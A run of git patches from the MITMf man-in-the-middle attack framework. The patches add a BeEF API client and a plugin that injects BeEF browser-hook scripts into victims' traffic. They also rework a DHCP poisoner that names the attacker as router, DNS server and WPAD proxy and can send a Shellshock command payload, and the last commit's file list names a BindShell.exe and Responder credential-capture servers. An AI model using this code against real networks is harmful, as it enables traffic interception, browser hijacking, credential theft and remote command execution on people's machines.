self.url, self.token)) - return modules + @property + def dns(self): + r = requests.get(self.dns_url) + return DNS(r.json(), self.url, self.token) + + @property + def logs(self): + logs = [] + r = requests.get(self.logs_url) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs + + @property + def modules(self): + modules = ModuleList([]) + r = requests.get(self.modules_url) + for k,v in r.json().iteritems(): + modules.append(Module(v, self.url, self.token)) + return modules + + @property + def are_rules(self): + return ARE_Rules(self.are_url, self.token) class ModuleList(UserList): - def __init__(self, mlist): - self.data = mlist + def __init__(self, mlist): + self.data = mlist - def findbyid(self, m_id): - for m in self.data: - if m_id == m.id: - return m + def findbyid(self, m_id): + for m in self.data: + if m_id == m.id: + return m - def findbyname(self, m_name): - pmodules = ModuleList([]) - for m in self.data: - if (m.name.lower().find(m_name.lower()) != -1) : - pmodules.append(m) - return pmodules + def findbyname(self, m_name): + pmodules = ModuleList([]) + for m in self.data: + if (m.name.lower().find(m_name.lower()) != -1) : + pmodules.append(m) + return pmodules class SessionList(UserList): - def __init__(self, slist): - self.data = slist + def __init__(self, slist): + self.data = slist - def findbysession(self, session): - for s in self.data: - if s.session == session: - return s + def findbysession(self, session): + for s in self.data: + if s.session == session: + return s - def findbyos(self, os): - res = SessionList([]) - for s in self.data: - if (s.os.lower().find(os.lower()) != -1): - res.append(s) - return res + def findbyos(self, os): + res = SessionList([]) + for s in self.data: + if (s.os.lower().find(os.lower()) != -1): + res.append(s) + return res - def findbyip(self, ip): - res = SessionList([]) - for s in self.data: - if ip == s.ip: - res.append(s) - return res + def findbyip(self, ip): + res = SessionList([]) + for s in self.data: + if ip == s.ip: + res.append(s) + return res - def findbyid(self, s_id): - for s in self.data: - if s.id == s_id: - return s + def findbyid(self, s_id): + for s in self.data: + if s.id == s_id: + return s - def findbybrowser(self, browser): - res = SessionList([]) - for s in self.data: - if browser == s.name: - res.append(s) - return res + def findbybrowser(self, browser): + res = SessionList([]) + for s in self.data: + if browser == s.name: + res.append(s) + return res - def findbybrowser_v(self, browser_v): - res = SessionList([]) - for s in self.data: - if browser_v == s.version: - res.append(s) - return res + def findbybrowser_v(self, browser_v): + res = SessionList([]) + for s in self.data: + if browser_v == s.version: + res.append(s) + return res - def findbypageuri(self, uri): - res = SessionList([]) - for s in self.data: - if uri in s.page_uri: - res.append(s) - return res + def findbypageuri(self, uri): + res = SessionList([]) + for s in self.data: + if uri in s.page_uri: + res.append(s) + return res - def findbydomain(self, domain): - res = SessionList([]) - for s in self.data: - if domain in s.domain: - res.append(s) - return res + def findbydomain(self, domain): + res = SessionList([]) + for s in self.data: + if domain in s.domain: + res.append(s) + return res + +class ARE_Rule(object): + + def __init__(self, data, url, token): + self.url = url + self.token = token + + for k,v in data.iteritems(): + setattr(self, k, v) + + self.modules = json.loads(self.modules) + + def trigger(self): + r = requests.get('{}/trigger/{}?token={}'.format(self.url, self.id, self.token)) + return r.json() + + def delete(self): + r = requests.get('{}/delete/{}?token={}'.format(self.url, self.id, self.token)) + return r.json() + +class ARE_Rules(object): + + def __init__(self, url, token): + self.url = url + self.token = token + + def list(self): + rules = [] + r = requests.get('{}/list/all?token={}'.format(self.url, self.token)) + data = r.json() + if (r.status_code == 200) and (data['success']): + for rule in data['rules']: + rules.append(ARE_Rule(rule, self.url, self.token)) + + return rules + + def add(self, rule_path): + if rule_path.endswith('.json'): + headers = {'Content-Type': 'application/json; charset=UTF-8'} + with open(rule_path, 'r') as rule: + payload = rule.read() + r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers) + return r.text #currently the returned object can't be serialized to JSON + + def trigger(self, rule_id): + r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token)) + return r.json() + + def delete(self, rule_id): + r = requests.get('{}/delete/{}?token={}'.format(self.url, rule_id, self.token)) + return r.json() class Module(object): - def __init__(self, data, url, token): - self.url = url - self.token = token + def __init__(self, data, url, token): + self.url = url + self.token = token - self.id = data['id'] - self.name = data['name'] - self.category = data['category'] + for k,v in data.iteritems(): + setattr(self, k, v) - @property - def options(self): - r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() - return r['options'] + @property + def options(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['options'] - @property - def description(self): - r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() - return r['description'] + @property + def description(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['description'] - def run(self, session, options={}): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps(options) - r = requests.post("{}/modules/{}/{}?token={}".format(self.url, session, self.id, self.token), headers=headers, data=payload) - return r.json() + def run(self, session, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, session, self.id, self.token), headers=headers, data=payload) + return r.json() - def multi_run(self, options={}, hb_ids=[]): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps({"mod_id":self.id, "mod_params": options, "hb_ids": hb_ids}) - r = requests.post("{}/modules/multi_browser?token={}".format(self.url, self.token), headers=headers, data=payload) - return r.json() + def multi_run(self, options={}, hb_ids=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"mod_id":self.id, "mod_params": options, "hb_ids": hb_ids}) + r = requests.post("{}/modules/multi_browser?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() - def results(self, session, cmd_id): - r = requests.get("{}/modules/{}/{}/{}?token={}".format(self.url, session, self.id, cmd_id, self.token)) - return r.json() + def results(self, session, cmd_id): + r = requests.get("{}/modules/{}/{}/{}?token={}".format(self.url, session, self.id, cmd_id, self.token)) + return r.json() class Log(object): - def __init__(self, log_dict): - self.id = log_dict['id'] - self.date = log_dict['date'] - self.event = log_dict['event'] - self.type = log_dict['type'] + def __init__(self, log_dict): + for k,v in log_dict.iteritems(): + setattr(self, k, v) class DNS_Rule(object): - def __init__(self, rule, url, token): - self.url = url - self.token = token + def __init__(self, rule, url, token): + self.url = url + self.token = token - self.id = rule['id'] - self.pattern = rule['pattern'] - self.type = rule['type'] - self.response = rule=['response'] + for k,v in rule.iteritems(): + setattr(self, k, v) - def delete(self): - r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token)) - return r.json() + def delete(self): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token)) + return r.json() class DNS(object): - def __init__(self, data, url, token): - self.data = data - self.url = url - self.token = token + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token - @property - def ruleset(self): - ruleset = [] - r = requests.get("{}/dns/ruleset?token={}".format(self.url, self.token)) - for rule in r.json()['ruleset']: - ruleset.append(DNS_Rule(rule, self.url, self.token)) - return ruleset + @property + def ruleset(self): + ruleset = [] + r = requests.get("{}/dns/ruleset?token={}".format(self.url, self.token)) + for rule in r.json()['ruleset']: + ruleset.append(DNS_Rule(rule, self.url, self.token)) + return ruleset - def add(self, pattern, resource, response=[]): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps({"pattern": pattern, "resource": resource, "response": response}) - r = requests.post("{}/dns/rule?token={}".format(self.url, self.token), headers=headers, data=payload) - return r.json() + def add(self, pattern, resource, response=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"pattern": pattern, "resource": resource, "response": response}) + r = requests.post("{}/dns/rule?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() - def delete(self, rule_id): - r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, rule_id, self.token)) - return r.json() + def delete(self, rule_id): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, rule_id, self.token)) + return r.json() class Hooked_Browsers(object): - def __init__(self, data, url, token): - self.data = data - self.url = url - self.token = token + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token - @property - def online(self): - sessions = SessionList([]) - for k,v in self.data['hooked-browsers']['online'].iteritems(): - sessions.append(Session(v['session'], self.data, self.url, self.token)) - return sessions + @property + def online(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['online'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions - @property - def offline(self): - sessions = SessionList([]) - for k,v in self.data['hooked-browsers']['offline'].iteritems(): - sessions.append(Session(v['session'], self.data, self.url, self.token)) - return sessions + @property + def offline(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['offline'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions class Session(object): - def __init__(self, session, data, url, token): - self.session = session - self.data = data - self.url = url - self.token = token + def __init__(self, session, data, url, token): + self.session = session + self.data = data + self.url = url + self.token = token - self.domain = self.get_property('domain') - self.id = self.get_property('id') - self.ip = self.get_property('ip') - self.name = self.get_property('name') #Browser name - self.os = self.get_property('os') - self.page_uri = self.get_property('page_uri') - self.platform = self.get_property('platform') #Ex. win32 - self.port = self.get_property('port') - self.version = self.get_property('version') #Browser version + self.domain = self.get_property('domain') + self.id = self.get_property('id') + self.ip = self.get_property('ip') + self.name = self.get_property('name') #Browser name + self.os = self.get_property('os') + self.page_uri = self.get_property('page_uri') + self.platform = self.get_property('platform') #Ex. win32 + self.port = self.get_property('port') + self.version = self.get_property('version') #Browser version - @property - def details(self): - r = requests.get('{}/hooks/{}?token={}'.format(self.url, self.session, self.token)) - return r.json() + @property + def details(self): + r = requests.get('{}/hooks/{}?token={}'.format(self.url, self.session, self.token)) + return r.json() - @property - def logs(self): - logs = [] - r = requests.get('{}/logs/{}?token={}'.format(self.url, self.session, self.token)) - for log in r.json()['logs']: - logs.append(Log(log)) - return logs + @property + def logs(self): + logs = [] + r = requests.get('{}/logs/{}?token={}'.format(self.url, self.session, self.token)) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs - def run(self, module_id, options={}): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps(options) - r = requests.post("{}/modules/{}/{}?token={}".format(self.url, self.session, module_id, self.token), headers=headers, data=payload) - return r.json() + def run(self, module_id, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, self.session, module_id, self.token), headers=headers, data=payload) + return r.json() - def multi_run(self, options={}): - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps({"hb": self.session, "modules":[options]}) - r = requests.post("{}/modules/multi_module?token={}".format(self.url, self.token), headers=headers, data=payload) - return r.json() + def multi_run(self, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"hb": self.session, "modules":[options]}) + r = requests.post("{}/modules/multi_module?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() - def get_property(self, key): - for k,v in self.data['hooked-browsers'].iteritems(): - for l,s in v.iteritems(): - if self.session == s['session']: - return s[key] + def get_property(self, key): + for k,v in self.data['hooked-browsers'].iteritems(): + for l,s in v.iteritems(): + if self.session == s['session']: + return s[key] diff --git a/plugins/beefautorun.py b/plugins/beefautorun.py new file mode 100644 index 0000000..177dae1 --- /dev/null +++ b/plugins/beefautorun.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import os + +from plugins.plugin import Plugin +from plugins.inject import Inject +from core.beefapi import BeefAPI +from mitmflib.watchdog.observers import Observer +from mitmflib.watchdog.events import FileSystemEventHandler + +class BeefAutorun(Inject, Plugin): + name = "BeEFAutoloader" + optname = "beefauto" + desc = "Injects BeEF hooks & manages BeEF's ARE rule loading" + version = "0.4" + + def initialize(self, options): + self.options = options + self.ip_address = options.ip + beefconfig = self.config['MITMf']['BeEF'] + + Inject.initialize(self, options) + self.js_url = 'http://{}:{}/hook.js'.format(options.ip , ['port']) + + beefconfig = self.config['MITMf']['BeEF'] + + from core.utils import shutdown + beef = BeefAPI({"host": beefconfig['host'], "port": beefconfig['port']}) + if not beef.login(beefconfig['user'], beefconfig['pass']): + shutdown("[BeEFAutorun] Error logging in to BeEF!") + + self.tree_info.append('Starting RuleWatcher') + RuleWatcher(beef, self.log).start() + + def options(self, options): + pass + +class RuleWatcher(FileSystemEventHandler): + + def __init__(self, beef, logger): + FileSystemEventHandler.__init__(self) + self.beef = beef + self.log = logger + + def on_modified(self, event): + self.log.debug('Detected ARE rule change!') + for rule in self.beef.are_rules.list(): + self.log.debug('Deleting rule id: {} name: {}'.format(rule.id, rule.name)) + rule.delete() + + if event.src_path.endswith('.json'): + self.log.debug('Detected ARE rule modification/addition!') + for rule in os.listdir('./config/beef_arerules/enabled'): + if rule.endswith('.json'): + rule_path = './config/beef_arerules/enabled/' + rule + self.log.debug('Adding rule {}'.format(rule_path)) + self.beef.are_rules.add(rule_path) + + def start(self): + observer = Observer() + observer.schedule(self, path='./config/beef_arerules/enabled', recursive=False) + observer.start() \ No newline at end of file From 8270f337adf0119ab9677ccd36f4f3dabd24ac05 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 30 Jul 2015 16:56:11 +0200 Subject: [PATCH 233/323] DHCP poisoner now takes into account the requested IP of clients WPAD server address Specifying interface is now optional --- config/mitmf.conf | 6 --- core/beefapi.py | 2 +- core/poisoners/dhcp/DHCPpoisoner.py | 70 ++++++++++++++--------------- core/utils.py | 7 ++- mitmf.py | 8 ++-- plugins/spoof.py | 3 +- 6 files changed, 48 insertions(+), 48 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index 09f9e58..cad2b4c 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -123,12 +123,6 @@ # Plugin configuration starts here # -[Spoof] - - [[DHCP]] - ip_pool = 192.168.1.10-50 - subnet = 255.255.255.0 - [Replace] [[Regex1]] diff --git a/core/beefapi.py b/core/beefapi.py index ff4210a..7a66797 100644 --- a/core/beefapi.py +++ b/core/beefapi.py @@ -201,7 +201,7 @@ class ARE_Rules(object): with open(rule_path, 'r') as rule: payload = rule.read() r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers) - return r.text #currently the returned object can't be serialized to JSON + return r.json() def trigger(self, rule_id): r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token)) diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/dhcp/DHCPpoisoner.py index 6871384..cd6ff20 100644 --- a/core/poisoners/dhcp/DHCPpoisoner.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -21,7 +21,7 @@ import threading import binascii import random -from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError +from netaddr import IPAddress, IPNetwork from core.logger import logger from scapy.all import * @@ -30,20 +30,20 @@ log = logger().setup_logger("DHCPpoisoner", formatter) class DHCPpoisoner(): - def __init__(self, options, dhcpcfg): + def __init__(self, options): self.interface = options.interface self.ip_address = options.ip self.mac_address = options.mac self.shellshock = options.shellshock + self.netmask = options.netmask self.debug = False - self.dhcpcfg = dhcpcfg self.dhcp_dic = {} log.debug("interface => {}".format(self.interface)) log.debug("ip => {}".format(self.ip_address)) log.debug("mac => {}".format(self.mac_address)) + log.debug("netmask => {}".format(self.netmask)) log.debug("shellshock => {}".format(self.shellshock)) - log.debug("dhcpcfg => {}".format(self.dhcpcfg)) def start(self): self.s2 = conf.L2socket(iface=self.interface) @@ -62,30 +62,24 @@ class DHCPpoisoner(): if "Interrupted system call" not in e: log.error("Exception occurred while poisoning: {}".format(e)) - def dhcp_rand_ip(self): - pool = self.dhcpcfg['ip_pool'] + def get_client_ip(self, xid, dhcp_options): try: - if '/' in pool: - ips = list(IPNetwork(pool)) - return str(random.choice(ips)) + field_name, req_addr = dhcp_options[2] + if field_name == 'requested_addr': + return 'requested', req_addr - elif '-' in pool: - start_addr = IPAddress(pool.split('-')[0]) - try: - end_addr = IPAddress(pool.split('-')[1]) - ips = list(IPRange(start_addr, end_addr)) - except AddrFormatError: - end_addr = list(start_addr.words) - end_addr[-1] = pool.split('-')[1] + raise ValueError + except ValueError: + for field in dhcp_options: + if (field is tuple) and (field[0] == 'requested_addr'): + return field[1] - end_addr = IPAddress('.'.join(map(str, end_addr))) - ips = list(IPRange(start_addr, end_addr)) + if xid in self.dhcp_dic.keys(): + client_ip = self.dhcp_dic[xid] + return 'stored', client_ip - return str(random.choice(ips)) - - log.error('Specified invalid CIDR/Network range in DHCP pool option') - except AddrFormatError: - log.error('Specified invalid CIDR/Network range in DHCP pool option') + net = IPNetwork(self.ip_address + '/24') + return 'generated', random.choice(list(net)) def dhcp_callback(self, resp): if resp.haslayer(DHCP): @@ -94,15 +88,12 @@ class DHCPpoisoner(): mac_addr = resp[Ether].src raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - if xid in self.dhcp_dic.keys(): - client_ip = self.dhcp_dic[xid] - else: - client_ip = self.dhcp_rand_ip() - self.dhcp_dic[xid] = client_ip - if resp[DHCP].options[0][1] == 1: - log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - log.info("Sending DHCP OFFER") + method, client_ip = self.get_client_ip(xid, resp[DHCP].options) + if method == 'requested': + log.info("Got DHCP DISCOVER from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid))) + else: + log.info("Got DHCP DISCOVER from: {} xid: {}".format(mac_addr, hex(xid))) packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src=self.ip_address, dst='255.255.255.255') / @@ -110,19 +101,25 @@ class DHCPpoisoner(): BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / DHCP(options=[("message-type", "offer"), ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), + ('subnet_mask', self.netmask), ('router', self.ip_address), ('name_server', self.ip_address), ('dns_server', self.ip_address), ('lease_time', 172800), ('renewal_time', 86400), ('rebinding_time', 138240), + (252, 'http://{}/wpad.dat\\n'.format(self.ip_address)), "end"])) + log.info("Sending DHCP OFFER") self.s2.send(packet) if resp[DHCP].options[0][1] == 3: - log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + method, client_ip = self.get_client_ip(xid, resp[DHCP].options) + if method == 'requested': + log.info("Got DHCP REQUEST from: {} requested_addr: {} xid: {}".format(mac_addr, client_ip, hex(xid))) + else: + log.info("Got DHCP REQUEST from: {} xid: {}".format(mac_addr, hex(xid))) packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / IP(src=self.ip_address, dst='255.255.255.255') / @@ -130,13 +127,14 @@ class DHCPpoisoner(): BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / DHCP(options=[("message-type", "ack"), ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), + ('subnet_mask', self.netmask), ('router', self.ip_address), ('name_server', self.ip_address), ('dns_server', self.ip_address), ('lease_time', 172800), ('renewal_time', 86400), - ('rebinding_time', 138240)])) + ('rebinding_time', 138240), + (252, 'http://{}/wpad.dat\\n'.format(self.ip_address))])) if self.shellshock: log.info("Sending DHCP ACK with shellshock payload") diff --git a/core/utils.py b/core/utils.py index 2aecf73..d5ca410 100644 --- a/core/utils.py +++ b/core/utils.py @@ -24,7 +24,7 @@ import sys from commands import getstatusoutput from core.logger import logger from core.sergioproxy.ProxyPlugins import ProxyPlugins -from scapy.all import get_if_addr, get_if_hwaddr +from scapy.all import get_if_addr, get_if_hwaddr, get_working_if formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("Utils", formatter) @@ -45,6 +45,11 @@ def set_ip_forwarding(value): file.write(str(value)) file.close() +def get_iface(): + iface = get_working_if() + log.debug("Interface {} seems to be up and running") + return iface + def get_ip(interface): try: ip_address = get_if_addr(interface) diff --git a/mitmf.py b/mitmf.py index 44f5349..5f8e0a8 100755 --- a/mitmf.py +++ b/mitmf.py @@ -46,13 +46,13 @@ if os.geteuid() != 0: parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename), version="{} - '{}'".format(mitmf_version, mitmf_codename), - usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', + usage='mitmf.py [-i interface] [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.") #add MITMf options sgroup = parser.add_argument_group("MITMf", "Options for MITMf") sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") -sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") +sgroup.add_argument("-i", dest='interface', type=str, help="Interface to listen on") sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") @@ -73,7 +73,9 @@ options = parser.parse_args() logger().log_level = logging.__dict__[options.log_level.upper()] #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object -from core.utils import get_ip, get_mac, shutdown +from core.utils import get_iface, get_ip, get_mac, shutdown +if not options.interface: + options.interface = get_iface() options.ip = get_ip(options.interface) options.mac = get_mac(options.interface) diff --git a/plugins/spoof.py b/plugins/spoof.py index 13e6c36..f36cd9a 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -49,7 +49,7 @@ class Spoof(Plugin): if options.targets: shutdown("[Spoof] --targets argument invalid when DCHP spoofing") - dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP']) + dhcp = DHCPpoisoner(options) dhcp.debug = debug self.tree_info.append('DHCP spoofing enabled') self.protocol_instances.append(dhcp) @@ -92,6 +92,7 @@ class Spoof(Plugin): group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects') group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers') options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries') + options.add_argument('--netmask', dest='netmask', type=str, default='255.255.255.0', help='The netmask of the network') options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]') From 93d21c8b277c4f0d040d4eda68f2d5dce45c2ce3 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 1 Aug 2015 11:12:53 +0200 Subject: [PATCH 234/323] Fixed bug when logging in Netcreds FIxed an invalid function call in MDNSpoisoner.py --- core/netcreds/NetCreds.py | 2 +- core/responder/mdns/MDNSpoisoner.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 1d5c7b3..6dbd14a 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -17,7 +17,7 @@ from urllib import unquote from scapy.all import * conf.verb=0 -formatter = logging.Formatter("%(asctime)s %(clientip)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s [NetCreds] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("NetCreds", formatter) DN = open(devnull, 'w') diff --git a/core/responder/mdns/MDNSpoisoner.py b/core/responder/mdns/MDNSpoisoner.py index 2da5a5b..fbd6698 100644 --- a/core/responder/mdns/MDNSpoisoner.py +++ b/core/responder/mdns/MDNSpoisoner.py @@ -58,7 +58,7 @@ class MDNSAns(Packet): ]) def calculate(self): - self.fields["IP"] = inet_aton(OURIP) + self.fields["IP"] = socket.inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) def Parse_MDNS_Name(data): From fd9b79c617d70d97013f23a2becf53e12505e6c0 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 2 Aug 2015 21:15:10 +0200 Subject: [PATCH 235/323] first pass at refactoring: directory structure has been simplified by grouping all the poisoners and servers in one folder impacket smb server has been replaced with responder's flask http server has beem replaced with responder's modified config file to support new changes --- config/mitmf.conf | 110 +- config/responder/AccessDenied.html | 31 + config/responder/BindShell.exe | Bin 0 -> 25113 bytes config/responder/gen-self-signed-cert.sh | 3 + config/responder/responder.crt | 18 + config/responder/responder.key | 27 + core/configwatcher.py | 2 +- core/mitmfapi.py | 2 +- core/{netcreds/NetCreds.py => netcreds.py} | 0 core/netcreds/README.md | 64 - core/netcreds/__init__.py | 0 core/{packetparser.py => packetfilter.py} | 6 +- core/poisoners/{arp/ARPpoisoner.py => ARP.py} | 0 .../{dhcp/DHCPpoisoner.py => DHCP.py} | 0 .../{icmp/ICMPpoisoner.py => ICMP.py} | 0 core/poisoners/LLMNR.py | 94 ++ core/poisoners/MDNS.py | 70 + core/poisoners/NBTNS.py | 79 + core/poisoners/arp/__init__.py | 0 core/poisoners/dhcp/__init__.py | 0 core/poisoners/icmp/__init__.py | 0 .../ProxyPlugins.py => proxyplugins.py} | 0 core/responder/common.py | 102 -- core/responder/fingerprint.py | 68 + core/responder/fingerprinter/Fingerprint.py | 121 -- .../fingerprinter/FingerprintRelay.py | 132 -- .../fingerprinter/LANfingerprinter.py | 236 --- .../fingerprinter/RAPLANMANPackets.py | 146 -- core/responder/fingerprinter/RelayPackets.py | 480 ------- core/responder/fingerprinter/__init__.py | 0 core/responder/ftp/FTPserver.py | 67 - core/responder/ftp/__init__.py | 0 core/responder/imap/IMAPPackets.py | 42 - core/responder/imap/IMAPserver.py | 53 - core/responder/imap/__init__.py | 0 core/responder/kerberos/KERBserver.py | 157 -- core/responder/kerberos/__init__.py | 0 core/responder/ldap/LDAPPackets.py | 224 --- core/responder/ldap/LDAPserver.py | 121 -- core/responder/ldap/__init__.py | 0 core/responder/llmnr/LLMNRpoisoner.py | 176 --- core/responder/llmnr/__init__.py | 0 core/responder/mdns/MDNSpoisoner.py | 115 -- core/responder/mdns/__init__.py | 0 core/responder/mssql/MSSQLPackets.py | 154 -- core/responder/mssql/MSSQLserver.py | 129 -- core/responder/mssql/__init__.py | 0 core/responder/nbtns/NBTNSpoisoner.py | 212 --- core/responder/nbtns/__init__.py | 0 core/responder/odict.py | 11 +- core/responder/packet.py | 34 - core/responder/packets.py | 1277 +++++++++++++++++ core/responder/pop3/POP3server.py | 65 - core/responder/pop3/__init__.py | 0 core/responder/settings.py | 192 +++ core/responder/smtp/SMTPPackets.py | 61 - core/responder/smtp/SMTPserver.py | 64 - core/responder/smtp/__init__.py | 0 core/responder/utils.py | 358 +++++ core/sergioproxy/README.md | 13 - core/sergioproxy/__init__.py | 0 core/servers/Browser.py | 205 +++ core/servers/{dns/DNSchef.py => DNS.py} | 2 - core/servers/FTP.py | 58 + core/servers/HTTP.py | 292 ++++ core/servers/IMAP.py | 55 + core/servers/{smb => }/KarmaSMB.py | 0 core/servers/Kerberos.py | 159 ++ core/servers/LDAP.py | 137 ++ core/servers/MSSQL.py | 157 ++ core/servers/POP3.py | 60 + core/servers/SMB.py | 421 ++++++ core/servers/SMTP.py | 66 + core/servers/dns/CHANGELOG | 29 - core/servers/dns/LICENSE | 25 - core/servers/dns/README.md | 339 ----- core/servers/dns/__init__.py | 0 core/servers/http/HTTPserver.py | 64 - core/servers/http/__init__.py | 0 core/servers/smb/SMBserver.py | 76 - core/servers/smb/__init__.py | 0 core/sslstrip/ClientRequest.py | 17 +- core/sslstrip/ServerConnection.py | 2 +- core/utils.py | 4 +- mitmf.py | 46 +- plugins/responder.py | 138 -- plugins/spoof.py | 8 +- 87 files changed, 3921 insertions(+), 3755 deletions(-) create mode 100644 config/responder/AccessDenied.html create mode 100644 config/responder/BindShell.exe create mode 100755 config/responder/gen-self-signed-cert.sh create mode 100644 config/responder/responder.crt create mode 100644 config/responder/responder.key rename core/{netcreds/NetCreds.py => netcreds.py} (100%) delete mode 100644 core/netcreds/README.md delete mode 100644 core/netcreds/__init__.py rename core/{packetparser.py => packetfilter.py} (88%) rename core/poisoners/{arp/ARPpoisoner.py => ARP.py} (100%) rename core/poisoners/{dhcp/DHCPpoisoner.py => DHCP.py} (100%) rename core/poisoners/{icmp/ICMPpoisoner.py => ICMP.py} (100%) create mode 100644 core/poisoners/LLMNR.py create mode 100644 core/poisoners/MDNS.py create mode 100644 core/poisoners/NBTNS.py delete mode 100644 core/poisoners/arp/__init__.py delete mode 100644 core/poisoners/dhcp/__init__.py delete mode 100644 core/poisoners/icmp/__init__.py rename core/{sergioproxy/ProxyPlugins.py => proxyplugins.py} (100%) delete mode 100644 core/responder/common.py create mode 100644 core/responder/fingerprint.py delete mode 100644 core/responder/fingerprinter/Fingerprint.py delete mode 100644 core/responder/fingerprinter/FingerprintRelay.py delete mode 100644 core/responder/fingerprinter/LANfingerprinter.py delete mode 100644 core/responder/fingerprinter/RAPLANMANPackets.py delete mode 100644 core/responder/fingerprinter/RelayPackets.py delete mode 100644 core/responder/fingerprinter/__init__.py delete mode 100644 core/responder/ftp/FTPserver.py delete mode 100644 